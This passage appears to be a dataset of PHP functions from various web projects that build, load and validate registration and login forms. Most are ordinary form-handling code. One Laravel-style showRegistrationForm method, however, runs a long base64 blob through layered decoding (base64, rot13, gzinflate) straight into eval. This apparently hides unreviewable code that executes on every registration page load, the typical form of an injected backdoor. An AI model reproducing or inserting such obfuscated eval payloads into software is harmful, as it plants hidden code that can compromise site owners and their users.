$settings['email_content_type'] . '; charset=UTF-8' . \"\\r\\n\";\n\t\t\t}\n\n\t\t\tself::$email_content['template_type'] = $settings['email_template'];\n\n\t\t\t$user_role = ( 'default' !== $settings['select_role'] && ! empty( $settings['select_role'] ) ) ? $settings['select_role'] : get_option( 'default_role' );\n\n\t\t\t/* Checking Email address. */\n\t\t\tif ( isset( $data['email'] ) && ! is_email( $data['email'] ) ) {\n\n\t\t\t\t$error['email'] = __( 'The email address is incorrect.', 'uael' );\n\n\t\t\t} elseif ( email_exists( $data['email'] ) ) {\n\n\t\t\t\t$error['email'] = __( 'An account is already registered with your email address. Please choose another one.', 'uael' );\n\t\t\t}\n\n\t\t\t/* Checking User name. */\n\t\t\tif ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) && ! validate_username( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'This username is invalid because it uses illegal characters. Please enter a valid username.', 'uael' );\n\n\t\t\t} elseif ( isset( $data['user_name'] ) && ( mb_strlen( $data['user_name'] ) > 60 ) && validate_username( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'Username may not be longer than 60 characters.', 'uael' );\n\t\t\t} elseif ( isset( $data['user_name'] ) && username_exists( $data['user_name'] ) ) {\n\n\t\t\t\t$error['user_name'] = __( 'This username is already registered. Please choose another one.', 'uael' );\n\n\t\t\t} elseif ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) ) {\n\n\t\t\t\t/** This Filters the list of blacklisted usernames. */\n\t\t\t\t$illegal_logins = (array) apply_filters( 'uael_illegal_user_logins', array() );\n\n\t\t\t\tif ( in_array( strtolower( $data['user_name'] ), array_map( 'strtolower', $illegal_logins ), true ) ) {\n\t\t\t\t\t$error['user_login'] = __( 'Sorry, that username is not allowed.', 'uael' );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Get username from e-mail address */\n\t\t\tif ( ! isset( $data['user_name'] ) || empty( $data['user_name'] ) ) {\n\t\t\t\t$email_username = $this->uael_create_username( $data['email'], '' );\n\t\t\t\t$data['user_name'] = sanitize_user( $email_username );\n\t\t\t}\n\n\t\t\t// Handle password creation.\n\t\t\t$password_generated = false;\n\t\t\t$user_pass = '';\n\t\t\tif ( ! isset( $data['password'] ) && empty( $data['password'] ) ) {\n\t\t\t\t$user_pass = wp_generate_password();\n\t\t\t\t$password_generated = true;\n\t\t\t} else {\n\t\t\t\t/* Checking User Password. */\n\t\t\t\tif ( false !== strpos( wp_unslash( $data['password'] ), '\\\\' ) ) {\n\t\t\t\t\t$error['password'] = __( 'Password may not contain the character \"\\\\\"', 'uael' );\n\t\t\t\t} else {\n\t\t\t\t\t$user_pass = $data['password'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$user_login = ( isset( $data['user_name'] ) && ! empty( $data['user_name'] ) ) ? sanitize_user( $data['user_name'], true ) : '';\n\t\t\t$user_email = ( isset( $data['email'] ) && ! empty( $data['email'] ) ) ? sanitize_text_field( wp_unslash( $data['email'] ) ) : '';\n\n\t\t\t$first_name = ( isset( $data['first_name'] ) && ! empty( $data['first_name'] ) ) ? sanitize_text_field( wp_unslash( $data['first_name'] ) ) : '';\n\n\t\t\t$last_name = ( isset( $data['last_name'] ) && ! empty( $data['last_name'] ) ) ? sanitize_text_field( wp_unslash( $data['last_name'] ) ) : '';\n\n\t\t\t$phone = ( isset( $data['phone'] ) && ! empty( $data['phone'] ) ) ? sanitize_text_field( wp_unslash( $data['phone'] ) ) : '';\n\n\t\t\tif ( ! empty( $error ) ) {\n\n\t\t\t\t// If there are items in our errors array, return those errors.\n\t\t\t\t$response['success'] = false;\n\t\t\t\t$response['error'] = $error;\n\n\t\t\t} else {\n\n\t\t\t\tself::$email_content['user_login'] = $user_login;\n\t\t\t\tself::$email_content['user_email'] = $user_email;\n\t\t\t\tself::$email_content['first_name'] = $first_name;\n\t\t\t\tself::$email_content['last_name'] = $last_name;\n\n\t\t\t\t$user_args = apply_filters(\n\t\t\t\t\t'uael_register_insert_user_args',\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'user_login' => isset( $user_login ) ? $user_login : '',\n\t\t\t\t\t\t'user_pass' => isset( $user_pass ) ? $user_pass : '',\n\t\t\t\t\t\t'user_email' => isset( $user_email ) ? $user_email : '',\n\t\t\t\t\t\t'first_name' => isset( $first_name ) ? $first_name : '',\n\t\t\t\t\t\t'last_name' => isset( $last_name ) ? $last_name : '',\n\t\t\t\t\t\t'user_registered' => gmdate( 'Y-m-d H:i:s' ),\n\t\t\t\t\t\t'role' => isset( $user_role ) ? $user_role : '',\n\t\t\t\t\t\t'phone' => isset( $phone ) ? $phone : '',\n\t\t\t\t\t),\n\t\t\t\t\t$data\n\t\t\t\t);\n\n\t\t\t\t$phone_val = $user_args['phone'];\n\n\t\t\t\tunset( $user_args['phone'] );\n\n\t\t\t\t$result = wp_insert_user( $user_args );\n\n\t\t\t\tif ( ! is_wp_error( $result ) ) {\n\t\t\t\t\tupdate_user_meta( $result, 'phone', $phone_val );\n\t\t\t\t}\n\n\t\t\t\tif ( ! is_wp_error( $result ) ) {\n\t\t\t\t\t// show a message of success and provide a true success variable.\n\t\t\t\t\t$response['success'] = true;\n\t\t\t\t\t$response['message'] = __( 'successfully registered', 'uael' );\n\n\t\t\t\t\t$notify = $data['send_email'];\n\n\t\t\t\t\t/* Login user after registration and redirect to home page if not currently logged in */\n\t\t\t\t\tif ( ! is_user_logged_in() && 'yes' === $data['auto_login'] ) {\n\t\t\t\t\t\t$creds = array();\n\t\t\t\t\t\t$creds['user_login'] = $user_login;\n\t\t\t\t\t\t$creds['user_password'] = $user_pass;\n\t\t\t\t\t\t$creds['remember'] = true;\n\t\t\t\t\t\t$login_user = wp_signon( $creds, false );\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( $result ) {\n\n\t\t\t\t\t\t// Send email to the user even if the send email option is disabled.\n\t\t\t\t\t\tself::$email_content['pass'] = $user_pass;\n\t\t\t\t\t}\n\n\t\t\t\t\t/**\n\t\t\t\t\t * Fires after a new user has been created.\n\t\t\t\t\t *\n\t\t\t\t\t * @since 1.18.0\n\t\t\t\t\t *\n\t\t\t\t\t * @param int $user_id ID of the newly created user.\n\t\t\t\t\t * @param string $notify Type of notification that should happen. See wp_send_new_user_notifications()\n\t\t\t\t\t * for more information on possible values.\n\t\t\t\t\t */\n\t\t\t\t\tdo_action( 'edit_user_created_user', $result, $notify );\n\n\t\t\t\t} else {\n\t\t\t\t\t$response['error'] = wp_send_json_error();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twp_send_json( $response );\n\n\t\t} else {\n\t\t\tdie;\n\t\t}\n\n\t}", "public function get_data() {\n $data = parent::get_data();\n\n if (!empty($data)) {\n $data->settings = $this->tool->form_build_settings($data);\n }\n\n return $data;\n }", "protected function loadFormData()\n {\n $data = $this->getData();\n $this->preprocessData('com_ketshop.registration', $data);\n\n return $data;\n }", "public function getData()\n {\n if ($this->data === null)\n {\n $this->data = new stdClass;\n $app = JFactory::getApplication();\n\n // Override the base user data with any data in the session.\n $temp = (array) $app->getUserState('com_ketshop.registration.data', array());\n\n // Don't load the data in this getForm call, or we'll call ourself\n $form = $this->getForm(array(), false);\n\n foreach($temp as $k => $v) {\n\t// Here we could have a grouped field, let's check it\n\tif(is_array($v)) {\n\t $this->data->$k = new stdClass;\n\n\t foreach($v as $key => $val) {\n\t if($form->getField($key, $k) !== false) {\n\t $this->data->$k->$key = $val;\n\t }\n\t }\n\t}\n\t// Only merge the field if it exists in the form.\n\telseif($form->getField($k) !== false) {\n\t $this->data->$k = $v;\n\t}\n }\n\n // Get the groups the user should be added to after registration.\n $this->data->groups = array();\n\n // Get the default new user group, guest or public group if not specified.\n $params = JComponentHelper::getParams('com_users');\n $system = $params->get('new_usertype', $params->get('guest_usergroup', 1));\n\n $this->data->groups[] = $system;\n\n // Unset the passwords.\n unset($this->data->password1, $this->data->password2);\n\n // Get the dispatcher and load the users plugins.\n $dispatcher = JEventDispatcher::getInstance();\n JPluginHelper::importPlugin('user');\n\n // Trigger the data preparation event.\n $results = $dispatcher->trigger('onContentPrepareData', array('com_ketshop.registration', $this->data));\n\n // Check for errors encountered while preparing the data.\n if(count($results) && in_array(false, $results, true)) {\n\t$this->setError($dispatcher->getError());\n\t$this->data = false;\n }\n }\n\n return $this->data;\n }", "private function prepare_form_data()\n {\n $form_data = array(\n 'email' => array(\n 'name' => 'email',\n 'options' => array(\n '' => '--',\n ),\n 'extra' => array('id'=>'login-email', 'autofocus'=>''),\n ),\n 'password' => array(\n 'name' => 'password',\n 'options' => array(\n '' => '--',\n ),\n 'extra' => array('id'=>'login-password'),\n ),\n\n 'lbl-email' => array(\n 'target' => 'email',\n 'label' => 'E-mail Address',\n ),\n 'lbl-password' => array(\n 'target' => 'password',\n 'label' => 'Password',\n ),\n\n 'btn-submit' => array(\n 'value' => 'Login',\n 'extra' => array(\n 'class' => 'btn btn-primary',\n ),\n ),\n );\n\n return \\DG\\Utility::massage_form_data($form_data);\n }", "private function _get_register_form() {\n\t\t$data['username'] = array(\n\t\t\t'name' => 'username',\n\t\t\t'id' => 'username',\n\t\t\t'type' => 'text',\n\t\t\t'value' => isset($_POST['username']) ? $_POST['username'] : ''\n\t\t);\n\t\t$data['email'] = array(\n\t\t\t'name' => 'email',\n\t\t\t'id' => 'email',\n\t\t\t'type' => 'text',\n\t\t\t'value' => isset($_POST['email']) ? $_POST['email'] : '',\n\t\t);\n\t\t$data['password'] = array(\n\t\t\t'name' => 'password',\n\t\t\t'id' => 'password',\n\t\t\t'type' => 'password',\n\t\t\t'value' => isset($_POST['password']) ? $_POST['password'] : '',\n\t\t);\n\t\t$data['password_confirm'] = array(\n\t\t\t'name' => 'password_confirm',\n\t\t\t'id' => 'password_confirm',\n\t\t\t'type' => 'password',\n\t\t\t'value' => isset($_POST['password_verification']) ? $_POST['password_verification'] : '',\n\t\t);\n\t\t$data['captcha'] = $this->recaptcha->get_html();\n\t\treturn $data;\n\t}", "public function getRegistrationForm()\n\t{\n\n\t}", "protected function loadFormData()\n\t{\n\t\t// Check the session for previously entered form data.\n\t\t$data = Factory::getApplication()->getUserState('com_tkdclub.email.data', array());\n\n\t\treturn $data;\n\t}", "protected function loadFormData()\n\t{\n\t\t$data = $this->getData();\n\n\t\t$this->preprocessData('com_volunteers.registration', $data);\n\n\t\treturn $data;\n\t}", "public function getForm($data = array(), $loadData = true)\n {\n // Get the form.\n $form = $this->loadForm('com_ketshop.registration', 'registration', array('control' => 'jform', 'load_data' => $loadData));\n\n if(empty($form)) {\n return false;\n }\n\n return $form;\n }", "protected function loadFormData(){\n\t\t$app = JFactory::getApplication();\n\t\t$data = $app->getUserState('mytest.login.form.data', array());\n\t\treturn $data;\n\t}", "public function getForm();", "public function getFormData()\n {\n $data = $this->getData('form_data');\n if ($data === null) {\n $formData = $this->_customerSession->getCustomerFormData(true);\n $data = new \\Magento\\Framework\\DataObject();\n if ($formData) {\n $data->addData($formData);\n $linkedinProfile = ['linkedin_profile' => $this->_customerSession->getLinkedinProfile()];\n $data->addData($linkedinProfile);\n $data->setCustomerData(1);\n }\n if (isset($data['region_id'])) {\n $data['region_id'] = (int)$data['region_id'];\n }\n $this->setData('form_data', $data);\n }\n return $data;\n }", "public function get_register_form() {\n $this->do_register_form();\n return $this->c_arr_register_form;\n }", "public function registrationForm(){\n self::$signUpName = $_POST['signup-name'];\n self::$signUpEmail = $_POST['signup-email'];\n self::$signUpPassword = $_POST['signup-password'];\n\n self::sanitize();\n if(self::checkIfAvailable()){\n self::$signUpName =\"\";\n self::$signUpEmail = \"\";\n self::$signUpPassword = \"\";\n }\n }", "public function getForm($data = array(), $loadData = true)\n\t{\n\t\t// Get the form.\n\t\t$form = $this->loadForm('com_volunteers.registration', 'registration', array('control' => 'jform', 'load_data' => $loadData));\n\n\t\tif (empty($form))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $form;\n\t}", "public function populateRegisterForm($data=array())\n\t{\n\t\t# Get the User class.\n\t\trequire_once Utility::locateFile(MODULES.'User'.DS.'User.php');\n\t\t# Instantiate a new User object.\n\t\t$user=new User();\n\t\t# Set the Login object to the data member.\n\t\t$this->setUserObject($user);\n\n\t\ttry\n\t\t{\n\t\t\t# Set the passed data array to the data member.\n\t\t\t$this->setData($data);\n\n\t\t\t# Process any Login data held in SESSION and set it to the data data member. This overwrites any passed data.\n\t\t\t$this->setSessionDataToDataArray('register');\n\t\t\t# Remove any \"account\" sessions.\n\t\t\tunset($_SESSION['form']['account']);\n\t\t\t# Remove any \"audio\" sessions.\n\t\t\tunset($_SESSION['form']['audio']);\n\t\t\t# Remove any \"category\" sessions.\n\t\t\tunset($_SESSION['form']['category']);\n\t\t\t# Remove any \"content\" sessions.\n\t\t\tunset($_SESSION['form']['content']);\n\t\t\t# Remove any \"file\" sessions.\n\t\t\tunset($_SESSION['form']['file']);\n\t\t\t# Remove any \"image\" sessions.\n\t\t\tunset($_SESSION['form']['image']);\n\t\t\t# Remove any \"institution\" sessions.\n\t\t\tunset($_SESSION['form']['institution']);\n\t\t\t# Remove any \"language\" sessions.\n\t\t\tunset($_SESSION['form']['language']);\n\t\t\t# Remove any \"login\" sessions.\n\t\t\tunset($_SESSION['form']['login']);\n\t\t\t# Remove any \"post\" sessions.\n\t\t\tunset($_SESSION['form']['post']);\n\t\t\t# Remove any \"product\" sessions.\n\t\t\tunset($_SESSION['form']['product']);\n\t\t\t# Remove any \"publisher\" sessions.\n\t\t\tunset($_SESSION['form']['publisher']);\n\t\t\t# Remove any \"register\" sessions.\n\t\t\tunset($_SESSION['form']['register']);\n\t\t\t# Remove any \"search\" sessions.\n\t\t\tunset($_SESSION['form']['search']);\n\t\t\t# Remove any \"staff\" sessions.\n\t\t\tunset($_SESSION['form']['staff']);\n\t\t\t# Remove any \"video\" sessions.\n\t\t\tunset($_SESSION['form']['video']);\n\n\t\t\t# Set any POST values to the appropriate data array indexes.\n\t\t\t$this->setPostDataToDataArray();\n\n\t\t\t# Populate the data members with defaults, passed values, or data saved in SESSION.\n\t\t\t$this->setDataToDataMembers($user);\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\tthrow $e;\n\t\t}\n\t}", "public static function getForm();", "public static function formstore($data){\n\t\t//\n\t\t//var_dump($data);\n \t$fname=Input::get('fname');\n\t\t$username=Input::get('username');\n\t\t$password=Hash::make(Input::get('password'));\n\t\t$email=Input::get('email');\n\t\t$usertype=Input::get('usertype');\n\t\t$company=Input::get('company');\n\t\t$address=Input::get('address');\n\t\t$state=Input::get('state');\n\t\t$country=Input::get('country');\n\t\t$zip=Input::get('zip');\n\t\t$phonenum=Input::get('phonenum');\n\t\t//$remember_token=Input::get('remember_token');\n\n\n\t\t$users= new Registered_user(); //create new user model\n\n\t\t$users->fname=$fname;\n\t\t$users->username=$username;\n\t\t$users->password=$password;\n\t\t$users->email=$email;\n\t\t$users->usertype=$usertype;\n\t\t$users->company=$company;\n\t\t$users->address=$address;\n\t\t$users->state=$state;\n\t\t$users->country=$country;\n\t\t$users->zip=$zip;\n\t\t$users->phonenum=$phonenum;\n\t\t//$users->remember_token=$remember_token;\n\n\t\t // convert data format\n\t\n\t\t$users->save(); //save to 'registered_users' table\n\n }", "protected function formForm()\n\t{\n\t\t$user = $this->request->getUser();\n\n\t\t$purses = $user->purses;\n\n\t\t$payments = $this->getPayments();\n\n\t\t$payments_form = $this->makePaymentsForm($payments);\n\n\t\t$purses_setting = $this->makePursesSetting($purses);\n\n\t\treturn compact('user', 'purses', 'payments', 'payments_form', 'purses_setting');\n\t}", "public function showRegistrationForm()\n {\n $api = new meta(); \n \n eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));\n\n include'get_ip_info.php';\n return view('auth.register')\n ->with(array(\n 'plans' => plans::orderby('id', 'desc')->get(),\n 'user_country'=>$user_country,\n 'countries'=>$countries,\n 'title'=>'Register',\n 'settings'=>settings::where('id','1')->first(),\n ));\n }", "public function getLoginFormData() {}", "public function getLoginFormData() {}", "function RegistrationForm() {\n\t\t$data = Session::get(\"FormInfo.Form_RegistrationForm.data\");\n\n\t\t$use_openid =\n\t\t\t($this->getForumHolder()->OpenIDAvailable() == true) &&\n\t\t\t(isset($data['IdentityURL']) && !empty($data['IdentityURL'])) ||\n\t\t\t(isset($_POST['IdentityURL']) && !empty($_POST['IdentityURL']));\n\n\t\t$fields = singleton('Member')->getForumFields($use_openid, true);\n\n\t\t// If a BackURL is provided, make it hidden so the post-registration\n\t\t// can direct to it.\n\t\tif (isset($_REQUEST['BackURL'])) $fields->push(new HiddenField('BackURL', 'BackURL', $_REQUEST['BackURL']));\n\n\t\t$validator = singleton('Member')->getForumValidator(!$use_openid);\n\t\t$form = new Form($this, 'RegistrationForm', $fields,\n\t\t\tnew FieldList(new FormAction(\"doregister\", _t('ForumMemberProfile.REGISTER','Register'))),\n\t\t\t$validator\n\t\t);\n\n\t\t// Guard against automated spam registrations by optionally adding a field\n\t\t// that is supposed to stay blank (and is hidden from most humans).\n\t\t// The label and field name are intentionally common (\"username\"),\n\t\t// as most spam bots won't resist filling it out. The actual username field\n\t\t// on the forum is called \"Nickname\".\n\t\tif(ForumHolder::$use_honeypot_on_register) {\n\t\t\t$form->Fields()->push(\n\t\t\t\tnew LiteralField(\n\t\t\t\t\t'HoneyPot',\n\t\t\t\t\t'<div style=\"position: absolute; left: -9999px;\">' .\n\t\t\t\t\t// We're super paranoid and don't mention \"ignore\" or \"blank\" in the label either\n\t\t\t\t\t'<label for=\"RegistrationForm_username\">' . _t('ForumMemberProfile.LeaveBlank', 'Don\\'t enter anything here'). '</label>' .\n\t\t\t\t\t'<input type=\"text\" name=\"username\" id=\"RegistrationForm_username\" value=\"\" />' .\n\t\t\t\t\t'</div>'\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t$member = new Member();\n\n\t\t// we should also load the data stored in the session. if failed\n\t\tif(is_array($data)) {\n\t\t\t$form->loadDataFrom($data);\n\t\t}\n\n\t\t// Optional spam protection\n\t\t$form->enableSpamProtection();\n\n\t\treturn $form;\n\t}", "protected function getForm($data=array())\n {\n if (!isset(self::$form_config['fields'])) {\n $this->setAlert('Missing the field definitions in `form.json`!', array(), self::ALERT_TYPE_DANGER);\n return false;\n }\n\n $form = $this->app['form.factory']->createBuilder('form');\n\n foreach (self::$form_config['fields'] as $key => $field) {\n\n if (!isset($field['type'])) {\n $this->setAlert('Missing the `type` field in the definition!', array(), self::ALERT_TYPE_DANGER);\n return false;\n }\n if (in_array($field['type'], self::$general_form_fields)) {\n\n if (!isset($field['name'])) {\n $this->setAlert('Missing the `name` field in the definition!', array(), self::ALERT_TYPE_DANGER);\n return false;\n }\n elseif (!self::isValidName($field['name'])) {\n $this->setAlert('The name \"%name%\" contains illegal characters. Names should start with a letter, digit or underscore and only contain letters, digits, numbers, underscores (\"_\"), hyphens (\"-\") and colons (\":\").',\n array('%name%' => $field['name']), self::ALERT_TYPE_DANGER);\n return false;\n }\n\n // this is a general form field\n switch ($field['type']) {\n case 'email':\n case 'text':\n case 'textarea':\n case 'url':\n // create general form fields\n $value = isset($field['value']) ? $field['value'] : '';\n $settings = array(\n 'data' => isset($data[$field['name']]) ? $data[$field['name']] : $value,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['name']),\n 'required' => isset($field['required']) ? $field['required'] : false\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['name'], $field['type'], $settings);\n break;\n case 'hidden':\n // create hidden form fields\n $value = isset($field['value']) ? $field['value'] : null;\n $form->add($field['name'], 'hidden', array(\n 'data' => isset($data[$field['name']]) ? $data[$field['name']] : $value\n ));\n break;\n case 'single_checkbox':\n // create only a single checkbox\n $value = isset($field['value']) ? $field['value'] : 1;\n $checked = isset($field['checked']) ? (bool) $field['checked'] : false;\n $settings = array(\n 'value' => $value,\n 'data' => isset($data[$field['name']]) ? ($data[$field['name']] == $value) : $checked,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['name']),\n 'required' => isset($field['required']) ? $field['required'] : false\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['name'], 'checkbox', $settings);\n break;\n case 'checkbox':\n case 'radio':\n case 'select':\n // create a select dropdown field\n if (!isset($field['choices']) || !is_array($field['choices'])) {\n $this->setAlert('Fields of type `select`, `radio` or `checkbox` need one or more values defined as array in `choices`!',\n array(), self::ALERT_TYPE_DANGER);\n return false;\n }\n $value = null;\n if (isset($field['value'])) {\n if ($field['type'] == 'checkbox') {\n // values must be always given as array!\n $value = (is_array($field['value'])) ? $field['value'] : array($field['value']);\n }\n else {\n $value = $field['value'];\n }\n }\n $settings = array(\n 'choices' => $field['choices'],\n 'expanded' => ($field['type'] != 'select'),\n 'multiple' => ($field['type'] == 'checkbox'),\n 'empty_value' => isset($field['empty_value']) ? $field['empty_value'] : '- please select -',\n 'data' => isset($data[$field['name']]) ? $data[$field['name']] : $value,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['name']),\n 'required' => isset($field['required']) ? $field['required'] : false\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['name'], 'choice', $settings);\n break;\n default:\n $this->setAlert('Missing the handling for the field type `%type%`, please contact the support!',\n array('%type%' => $field['type']), self::ALERT_TYPE_DANGER);\n return false;\n }\n }\n elseif (in_array($field['type'], self::$contact_form_fields)) {\n // this is a contact field\n\n if (isset($field['name'])) {\n // unset an existing field name!\n unset(self::$form_config['fields'][$key]['name']);\n }\n // set the field name equal to the field type!\n self::$form_config['fields'][$key]['name'] = $field['type'];\n\n switch ($field['type']) {\n case 'person_gender':\n $value = isset($field['value']) ? $field['value'] : 'MALE';\n $settings = array(\n 'choices' => array('MALE' => 'Male', 'FEMALE' => 'Female'),\n 'expanded' => false,\n 'multiple' => false,\n 'empty_value' => isset($field['empty_value']) ? $field['empty_value'] : '- please select -',\n 'data' => isset($data[$field['type']]) ? $data[$field['type']] : $value,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['type']),\n 'required' => isset($field['required']) ? $field['required'] : true\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['type'], 'choice', $settings);\n break;\n case 'communication_email':\n $value = isset($field['value']) ? $field['value'] : '';\n $settings = array(\n 'data' => isset($data[$field['type']]) ? $data[$field['type']] : $value,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['type']),\n 'required' => true\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['type'], 'email', $settings);\n break;\n case 'tags':\n // set the contact TAGS\n if (isset($field['value'])) {\n $value = is_array($field['value']) ? implode(',', $field['value']) : $field['value'];\n }\n else {\n $value = null;\n }\n $form->add($field['type'], 'hidden', array(\n 'data' => $value\n ));\n break;\n case 'person_first_name':\n case 'person_last_name':\n case 'person_nick_name':\n case 'communication_phone':\n case 'address_street':\n case 'address_zip':\n case 'address_city':\n $value = isset($field['value']) ? $field['value'] : '';\n $settings = array(\n 'data' => isset($data[$field['type']]) ? $data[$field['type']] : $value,\n 'label' => isset($field['label']) ? $field['label'] : $this->app['utils']->humanize($field['type']),\n 'required' => isset($field['required']) ? $field['required'] : true\n );\n if (isset($field['help']) && !empty($field['help'])) {\n $settings['attr']['help'] = $field['help'];\n }\n $form->add($field['type'], 'text', $settings);\n break;\n }\n }\n else {\n $this->setAlert('There exists no handling for the field type `%type%` neither as form nor as contact field!',\n array('%type%' => $field['type']), self::ALERT_TYPE_DANGER);\n return false;\n }\n }\n\n // return the form\n return $form->getForm();\n }", "public function populateForm() {}", "protected function loadFormData()\n\t{\n\t\t// get data which the user previously entered into the form\n\t\t// the context 'com_u3abooking.edit.booking.data' is set in FormController\n\t\t$data = Factory::getApplication()->getUserState(\n\t\t\t'com_u3abooking.edit.booking.data',\n\t\t\tarray()\n\t\t);\n\t\tif (empty($data))\n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "protected function loadFormData(){\n // Check the session for previously entered form data.\n $data = JFactory::getApplication()->getUserState($this->option.'.edit.profile.data', array());\n \n if(empty($data)){\n $data = 